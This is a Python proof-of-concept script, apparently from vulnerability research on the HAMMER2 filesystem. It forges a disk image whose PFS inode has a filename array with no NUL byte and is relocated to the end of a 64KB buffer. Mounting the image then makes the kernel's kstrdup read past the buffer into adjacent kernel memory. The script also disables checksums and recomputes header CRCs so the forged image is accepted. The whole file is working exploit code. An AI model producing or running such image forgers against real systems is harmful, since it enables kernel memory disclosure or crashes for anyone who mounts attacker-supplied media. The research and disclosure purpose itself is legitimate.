DF-2624 / forge_2624.py
#!/usr/bin/env python3 """ DF-2624 PoC image forger. Base: newfs_hammer2 -L testvol + `hammer2 pfs-create /mnt/h2x/poison`. The second PFS's inode block is RELOCATED to the tail of a fresh 64KB window (data_off = WIN|0xFC00|10, exactly in-window per the io KKASSERT), and bytes [0x100,0x400) (the whole filename array + the inode's blockset area) are filled with non-NUL bytes. On mount, hammer2_update_pmps() pfsallocs EVERY PFS under sroot -> pfsalloc() does pmp->pfs_names[j] = kstrdup(ripdata->filename, M_HAMMER2); (:495) with NO NUL anywhere in the 256-byte filename array, so strlen/kstrdup runs through the rest of the inode block and off the END of the 64KB DIO buffer into adjacent kernel memory until it happens to find a zero byte. Ancestors (poison inode bref, sroot bref) -> CHECK_NONE; volhdr CRCs recomputed. The poison bref's mirror_tid is zeroed so recovery does not recurse into it. PFSROOT stays SET so fixup_pfses skips it (this PoC isolates DF-2624). """ import struct, sys sys.path.insert(0, '/tmp/opencode/dfv') from h2common import * WIN = 0x2200000 def main(): base, out = sys.argv[1:3] img = bytearray(open(base, 'rb').read()) vols, sbr = find_sroot(img) sblk, kids = sroot_children(img, sbr) for br in kids: tag = "" if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK): tag = " name=%r" % inode_name(img, br['data_off'] & ~RADIX_MASK) print("[walk] sroot slot @ %#x: type=%d key=%#x data_off=%#x%s" % (br['off'], br['type'], br['key'], br['data_off'], tag)) poison = None for br in kids: if br['type'] == T_INODE and (br['data_off'] & RADIX_MASK): nm = inode_name(img, br['data_off'] & ~RADIX_MASK) if nm != b'testvol': poison = br pname = nm assert poison, "poison PFS not found under sroot" pblk = poison['data_off'] & ~RADIX_MASK pradix = poison['data_off'] & RADIX_MASK print("[walk] poison PFS %r inode @ %#x radix %d flags %#x mirror_tid %#x" % (pname, pblk, pradix, poison['flags'], poison['mirror_tid'])) assert all(b == 0 for b in img[WIN:WIN + 0x10000]), "window not empty" # relocate inode block to window tail img[WIN + 0xFC00: WIN + 0xFC00 + 1024] = img[pblk:pblk + 1024] # poison: filename array (0x100..0x1FF) + blockset area (0x200..0x3FF) # all non-NUL; keep meta (0x00..0xFF) from the original inode img[WIN + 0xFC00 + 0x100: WIN + 0xFC00 + 0x400] = b'\x50' * 0x300 struct.pack_into('<Q', img, poison['off'] + 0x20, WIN | 0xFC00 | 10) struct.pack_into('<Q', img, poison['off'] + 0x10, 0) # mirror_tid=0 struct.pack_into('<B', img, poison['off'] + 0x01, 0x00) # CHECK_NONE for v in vols: struct.pack_into('<B', img, v + 0x201, 0x00) # sroot CHECK_NONE recompute_volhdr_crcs(img) open(out, 'wb').write(img) print("[+] poison inode moved %#x -> %#x (tail of window %#x), " "[0x100,0x400)=0x50*0x300, mirror_tid=0" % (pblk, WIN | 0xFC00, WIN)) print("[+] wrote %s" % out) if __name__ == '__main__': main() |